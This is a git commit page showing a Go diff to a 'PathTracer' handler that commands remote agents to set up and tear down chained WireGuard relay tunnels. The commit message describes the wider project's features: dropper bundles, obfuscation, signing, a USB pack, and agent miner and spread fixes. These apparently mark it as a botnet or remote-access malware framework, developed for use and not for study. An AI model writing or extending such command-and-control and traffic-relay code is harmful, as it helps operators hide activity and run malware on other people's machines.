fix: 2026-06-04 audit pass — README, USB pack, multi-area fixes

WS ticket dashboard auth, builder universal signing/size limits/fusion obfuscation/dropper bundles, Path Tracer WireGuard topology, SessionGate degraded mode and download timeouts, server bootstrap (data dir, cloudflared dedupe, config port precedence), agent mesh/miner/spread fixes. README refreshed; usb bundle repacked; PROBLEMS.md audit log updated.
This commit is contained in:
AetherForge
2026-06-04 20:41:44 -07:00
parent 6bfce5d5ab
commit 8466c7aa9b
101 changed files with 3369 additions and 1054 deletions

View File

@@ -57,17 +57,61 @@ type TraceSession struct {
clientPubKey string
}
const (
pathTraceSessionTTL = 2 * time.Hour
pathTraceCleanupInterval = 5 * time.Minute
)
// PathTracerHandler manages on-demand WireGuard chain sessions.
type PathTracerHandler struct {
hub *WSHub
mu sync.Mutex
sessions map[string]*TraceSession
stopCh chan struct{}
}
func NewPathTracerHandler(hub *WSHub) *PathTracerHandler {
return &PathTracerHandler{
h := &PathTracerHandler{
hub: hub,
sessions: make(map[string]*TraceSession),
stopCh: make(chan struct{}),
}
go h.sessionCleanupLoop()
return h
}
func (h *PathTracerHandler) sessionCleanupLoop() {
ticker := time.NewTicker(pathTraceCleanupInterval)
defer ticker.Stop()
for {
select {
case <-ticker.C:
h.expireSessions()
case <-h.stopCh:
return
}
}
}
func (h *PathTracerHandler) expireSessions() {
now := time.Now()
var expired []*TraceSession
h.mu.Lock()
for id, sess := range h.sessions {
if now.Sub(sess.CreatedAt) > pathTraceSessionTTL {
expired = append(expired, sess)
delete(h.sessions, id)
}
}
h.mu.Unlock()
for _, sess := range expired {
log.Printf("[pathtrace] session %s expired after %s", sess.ID[:8], pathTraceSessionTTL)
for _, hop := range sess.Hops {
_ = h.hub.writeAgentJSON(hop.AgentID, Message{
Type: "command",
Payload: mustMarshal(map[string]interface{}{"action": "wg_teardown"}),
})
}
}
}
@@ -260,11 +304,11 @@ func (h *PathTracerHandler) orchestrate(sess *TraceSession) {
if p == 0 {
p = 51820
}
// If UPnP failed, fall back to the IP the server saw.
// If UPnP failed, fall back to the agent's last known IP in the DB.
ip := res.ExternalIP
if ip == "" {
if agent := h.hub.getAgentConnByID(hop.AgentID); agent != nil {
ip = hop.ExternalIP // pre-filled below
if ag, err := h.hub.db.GetAgent(hop.AgentID); err == nil && strings.TrimSpace(ag.IP) != "" {
ip = ag.IP
}
}
results <- setupResp{hop: hop, pub: res.PublicKey, ip: ip, port: p}
@@ -307,11 +351,10 @@ func (h *PathTracerHandler) orchestrate(sess *TraceSession) {
}
// Phase 2: send wg_configure to each hop.
// Build per-hop configs:
// - Last hop: peer = none (it's the exit), just IP forwarding
// - Middle hops: peer = next hop
// - First hop: peer = next hop, or none if single-hop (client connects directly)
//
// Topology:
// - Hop 1 always peers to the client (10.66.0.1/32) so return traffic works.
// - Relay hops also peer forward to the next hop (0.0.0.0/0).
// - Middle/exit hops peer back to the previous hop for reverse routing.
// The CLIENT config always points to the FIRST hop.
type cfgResp struct {
@@ -330,33 +373,23 @@ func (h *PathTracerHandler) orchestrate(sess *TraceSession) {
"local_address": hop.LocalAddr,
"listen_port": hop.Port,
"enable_ip_forwarding": true,
}
// Peers for this hop: only for relay hops (all except the exit/last hop).
if i < len(sess.Hops)-1 {
nextHop := sess.Hops[i+1]
payload["peers"] = []map[string]interface{}{
{
"public_key": nextHop.PublicKey,
"endpoint": fmt.Sprintf("%s:%d", nextHop.ExternalIP, nextHop.Port),
"allowed_ips": "0.0.0.0/0",
"persistent_keepalive": 25,
},
}
} else {
payload["peers"] = []map[string]interface{}{}
"peers": buildHopPeers(sess, i),
}
dataJSON, _ := json.Marshal(payload)
ch := h.hub.AwaitCommandResult(hop.AgentID, "wg_configure")
_ = h.hub.writeAgentJSON(hop.AgentID, Message{
if err := h.hub.writeAgentJSON(hop.AgentID, Message{
Type: "command",
Payload: mustMarshal(map[string]interface{}{
"action": "wg_configure",
"data": string(dataJSON),
}),
})
}); err != nil {
h.hub.CancelAwait(hop.AgentID, "wg_configure")
cfgResults <- cfgResp{hop: hop, err: "agent not connected: " + err.Error()}
continue
}
go func() {
select {
@@ -402,6 +435,43 @@ func (h *PathTracerHandler) orchestrate(sess *TraceSession) {
log.Printf("[pathtrace] session %s: orchestration complete, ready=%v", sess.ID[:8], allReady)
}
// buildHopPeers returns WireGuard peer entries for hop index i in the chain.
func buildHopPeers(sess *TraceSession, i int) []map[string]interface{} {
var peers []map[string]interface{}
// Hop 1 is the client entry point — always accept the phone/client tunnel.
if i == 0 {
peers = append(peers, map[string]interface{}{
"public_key": sess.clientPubKey,
"allowed_ips": "10.66.0.1/32",
"persistent_keepalive": 25,
})
}
// Forward peer: route outbound traffic to the next hop in the chain.
if i < len(sess.Hops)-1 {
nextHop := sess.Hops[i+1]
peers = append(peers, map[string]interface{}{
"public_key": nextHop.PublicKey,
"endpoint": fmt.Sprintf("%s:%d", nextHop.ExternalIP, nextHop.Port),
"allowed_ips": "0.0.0.0/0",
"persistent_keepalive": 25,
})
}
// Reverse peer: return traffic toward the client via the previous hop.
if i > 0 {
prevHop := sess.Hops[i-1]
peers = append(peers, map[string]interface{}{
"public_key": prevHop.PublicKey,
"allowed_ips": "10.66.0.1/32",
"persistent_keepalive": 25,
})
}
return peers
}
// buildClientConfig generates the WireGuard config text the user scans/imports.
func (h *PathTracerHandler) buildClientConfig(sess *TraceSession) string {
h.mu.Lock()